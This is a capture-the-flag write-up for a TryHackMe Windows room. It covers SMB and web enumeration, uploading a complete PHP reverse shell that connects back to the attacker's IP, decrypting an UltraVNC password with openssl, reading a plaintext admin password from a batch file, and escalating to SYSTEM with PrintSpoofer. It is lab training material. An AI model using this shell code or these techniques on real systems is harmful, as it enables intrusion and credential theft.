Skip to Content
WriteupsTryHackMeAllSignsPoint2Pwnage

AllSignsPoint2Pwnage - THM

This is the writeup for the TryHackMe medium difficulty room called AllSignsPoint2Pwnage .

Task1

We are going to exploit a windows machine with a vunerable website.
[At the time of my testing this machine was terribly slow and unstable. I had to restart it several times and every command execution took about 2 minutes.]

Recon

CMD: nmap -sT -sV -p- $IP Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-08 17:28 CET Nmap scan report for 10.10.204.145 Host is up (0.040s latency). Not shown: 65519 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd 80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.4.11) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 443/tcp open ssl/http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.4.11) 445/tcp open microsoft-ds? 3389/tcp open ms-wbt-server? 5040/tcp open unknown 5900/tcp open vnc VNC (protocol 3.8) 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 49675/tcp open msrpc Microsoft Windows RPC 49679/tcp open msrpc Microsoft Windows RPC

The nmap scan show us that there is a webserver running on port 80 and an SMB server.

CMD: smbmap -H $IP -u guest ________ ___ ___ _______ ___ ___ __ _______ /" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\ (: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :) \___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/ __/ \ |: \. |(| _ \ |: \. | // __' \ (| / /" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \ (_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______) ----------------------------------------------------------------------------- SMBMap - Samba Share Enumerator v1.10.5 | Shawn Evans - ShawnDEvans@gmail.com https://github.com/ShawnDEvans/smbmap [*] Detected 1 hosts serving SMB [*] Established 1 SMB connections(s) and 1 authenticated session(s) [+] IP: 10.10.204.145:445 Name: 10.10.204.145 Status: Authenticated Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share images$ READ, WRITE Installs$ NO ACCESS IPC$ READ ONLY Remote IPC Users READ ONLY [*] Closed 1 connections

We are using the tool smbmap to enumrate the SMB server using the default guest username. The tool show us an interesting share name images$ which is going to be important later.

CMD: smbclient //$IP/images$ --user guest Password for [WORKGROUP\guest]: Try "help" to get a list of possible commands. smb: \> ls . D 0 Tue Jan 26 19:19:19 2021 .. D 0 Tue Jan 26 19:19:19 2021 internet-1028794_1920.jpg A 134193 Sun Jan 10 22:52:24 2021 man-1459246_1280.png A 363259 Sun Jan 10 22:50:49 2021 monitor-1307227_1920.jpg A 691570 Sun Jan 10 22:50:29 2021 neon-sign-4716257_1920.png A 1461192 Sun Jan 10 22:53:59 2021 10639615 blocks of size 4096. 3907501 blocks available

After accessing the share we surprisingly find images. Let’s visit the website.

Website

On the website there is nothing useful just a slideshow.

CMD: feroxbuster -u http://$IP -w /usr/share/wordlists/dirb/big.txt ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.12.0 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://10.10.204.145 🚀 Threads │ 50 📖 Wordlist │ /usr/share/wordlists/dirb/big.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.12.0 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 301 GET 9l 30w 340c http://10.10.204.145/Images => http://10.10.204.145/Images/ ...

By fuzzing the directories of the website with feroxbuster we discover a directory called images.

Shell

Based on the information we gathered we can assume that this images directory is also the SMB share we found.

Exploitaiton

Task2

Following the previous logic we can upload a php webshell.

shell.php
<?php // Copyright (c) 2020 Ivan Sincek // v2.3 // Requires PHP v5.0.0 or greater. // Works on Linux OS, macOS, and Windows OS. // See the original script at https://github.com/pentestmonkey/php-reverse-shell. class Shell { private $addr = null; private $port = null; private $os = null; private $shell = null; private $descriptorspec = array( 0 => array('pipe', 'r'), // shell can read from STDIN 1 => array('pipe', 'w'), // shell can write to STDOUT 2 => array('pipe', 'w') // shell can write to STDERR ); private $buffer = 1024; // read/write buffer size private $clen = 0; // command length private $error = false; // stream read/write error public function __construct($addr, $port) { $this->addr = $addr; $this->port = $port; } private function detect() { $detected = true; if (stripos(PHP_OS, 'LINUX') !== false) { // same for macOS $this->os = 'LINUX'; $this->shell = '/bin/bash'; } else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false) { $this->os = 'WINDOWS'; $this->shell = 'cmd.exe'; } else { $detected = false; echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n"; } return $detected; } private function daemonize() { $exit = false; if (!function_exists('pcntl_fork')) { echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n"; } else if (($pid = @pcntl_fork()) < 0) { echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n"; } else if ($pid > 0) { $exit = true; echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n"; } else if (posix_setsid() < 0) { // once daemonized you will actually no longer see the script's dump echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n"; } else { echo "DAEMONIZE: Completed successfully!\n"; } return $exit; } private function settings() { @error_reporting(0); @set_time_limit(0); // do not impose the script execution time limit @umask(0); // set the file/directory permissions - 666 for files and 777 for directories } private function dump($data) { $data = str_replace('<', '&lt;', $data); $data = str_replace('>', '&gt;', $data); echo $data; } private function read($stream, $name, $buffer) { if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream $this->error = true; // set global error flag echo "STRM_ERROR: Cannot read from ${name}, script will now exit...\n"; } return $data; } private function write($stream, $name, $data) { if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream $this->error = true; // set global error flag echo "STRM_ERROR: Cannot write to ${name}, script will now exit...\n"; } return $bytes; } // read/write method for non-blocking streams private function rw($input, $output, $iname, $oname) { while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) { if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length $this->dump($data); // script's dump } } // read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS) // we must read the exact byte length from a stream and not a single byte more private function brw($input, $output, $iname, $oname) { $fstat = fstat($input); $size = $fstat['size']; if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) { // for some reason Windows OS pipes STDIN into STDOUT // we do not like that // we need to discard the data from the stream while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) { $this->clen -= $bytes; $size -= $bytes; } } while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) { $size -= $bytes; $this->dump($data); // script's dump } } public function run() { if ($this->detect() && !$this->daemonize()) { $this->settings(); // ----- SOCKET BEGIN ----- $socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30); if (!$socket) { echo "SOC_ERROR: {$errno}: {$errstr}\n"; } else { stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS // ----- SHELL BEGIN ----- $process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null); if (!$process) { echo "PROC_ERROR: Cannot start the shell\n"; } else { foreach ($pipes as $pipe) { stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS } // ----- WORK BEGIN ----- $status = proc_get_status($process); @fwrite($socket, "SOCKET: Shell has connected! PID: " . $status['pid'] . "\n"); do { $status = proc_get_status($process); if (feof($socket)) { // check for end-of-file on SOCKET echo "SOC_ERROR: Shell connection has been terminated\n"; break; } else if (feof($pipes[1]) || !$status['running']) { // check for end-of-file on STDOUT or if process is still running echo "PROC_ERROR: Shell process has been terminated\n"; break; // feof() does not work with blocking streams } // use proc_get_status() instead $streams = array( 'read' => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR 'write' => null, 'except' => null ); $num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OS if ($num_changed_streams === false) { echo "STRM_ERROR: stream_select() failed\n"; break; } else if ($num_changed_streams > 0) { if ($this->os === 'LINUX') { if (in_array($socket , $streams['read'])) { $this->rw($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET } else if ($this->os === 'WINDOWS') { // order is important if (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN if (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET if (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET } } } while (!$this->error); // ------ WORK END ------ foreach ($pipes as $pipe) { fclose($pipe); } proc_close($process); } // ------ SHELL END ------ fclose($socket); } // ------ SOCKET END ------ } } } echo '<pre>'; // change the host address and/or port number as necessary $sh = new Shell('10.14.99.147', 10000); $sh->run(); unset($sh); // garbage collector requires PHP v5.3.0 or greater // @gc_collect_cycles(); echo '</pre>'; ?>
smb: \> put shell.php

Then we can run it by clicking on it on the website.

The USER_FLAG is found on the desktop of our user.

USER_FLAG

Getting the answers

Task3

After uploading the script winPEAS.exe and running it we find the user password.

User_Password

Running the command net share we can discover the hidden share which contains some of the answers for the task.

CMD: C:\Users\Administrator\Desktop>net share Share name Resource Remark ------------------------------------------------------------------------------- C$ C:\ Default share images$ C:\xampp\htdocs\images Caching disabled [[SHARE]]$ C:\[[SHARE]] Caching disabled IPC$ Remote IPC ADMIN$ C:\Windows Remote Admin Users C:\Users The command completed successfully.

This folder contains the encrypted password for the VNC service and the Administrator password.

CMD: C:\[[SHARE]]>more ultravnc.ini [ultravnc] passwd=B3A8F2D8BEA2F1FA70 passwd2=5AB2CDC0BADCAF13F1 ...

Using the following command we can get the decrypted password.
SRC 

CMD: echo -n B3A8F2D8BEA2F1FA70 | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d | hexdump -Cv bad decrypt 405727AA107F0000:error:1C80006B:Provider routines:ossl_cipher_generic_block_final:wrong final block length:../providers/implementations/ciphers/ciphercommon.c:468: 00000000 35 75 70 70 30 72 74 39 |[[VNC_PASSWORD]]| 00000008
CMD: C:\[[SHARE]]>more Install_www_and_deploy.bat @echo off REM Shop Sign Install Script cd C:\[[SHARE]] psexec -accepteula -nobanner -u administrator -p [[ADMINISTRATOR_PASSWORD]] xampp-windows-x64-7.4.11-0-VC15-installer.exe --disable-components xampp_mysql,xampp_filezilla,xampp_mercury,xampp_tomcat,xampp_perl,xampp_phpmyadmin,xampp_webalizer,xampp_sendmail --mode unattended --launchapps 1 xcopy C:\[[SHARE]]\simepleslide\src\* C:\xampp\htdocs\ move C:\xampp\htdocs\index.php C:\xampp\htdocs\index.php_orig copy C:\[[SHARE]]\simepleslide\src\slide.html C:\xampp\htdocs\index.html mkdir C:\xampp\htdocs\images UltraVNC_1_2_40_X64_Setup.exe /silent copy ultravnc.ini "C:\Program Files\uvnc bvba\UltraVNC\ultravnc.ini" /y copy startup.bat "c:\programdata\Microsoft\Windows\Start Menu\Programs\Startup\" pause

Getting Administrator access

CMD: C:\xampp\htdocs\images>whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======== SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking station Disabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled

By cheching our privileges we find that we have both the SeImpersonatePrivilege and SeCreateGlobalPrivilege rights. To exploit this we use the PrintSpooler64.exe tool.
SRC .

PS C:\xampp\htdocs\images> .\PrintSpoofer64.exe -i -c cmd [+] Found privilege: SeImpersonatePrivilege [+] Named pipe listening... [+] CreateProcessAsUser() OK Microsoft Windows [Version 10.0.18362.1256] (c) 2019 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami nt authority\system

From now on we have system rights on the machine.
So we can read the ADMIN FLAG which is located on the Administrator’s Desktop.

Admin_Flag

Last updated on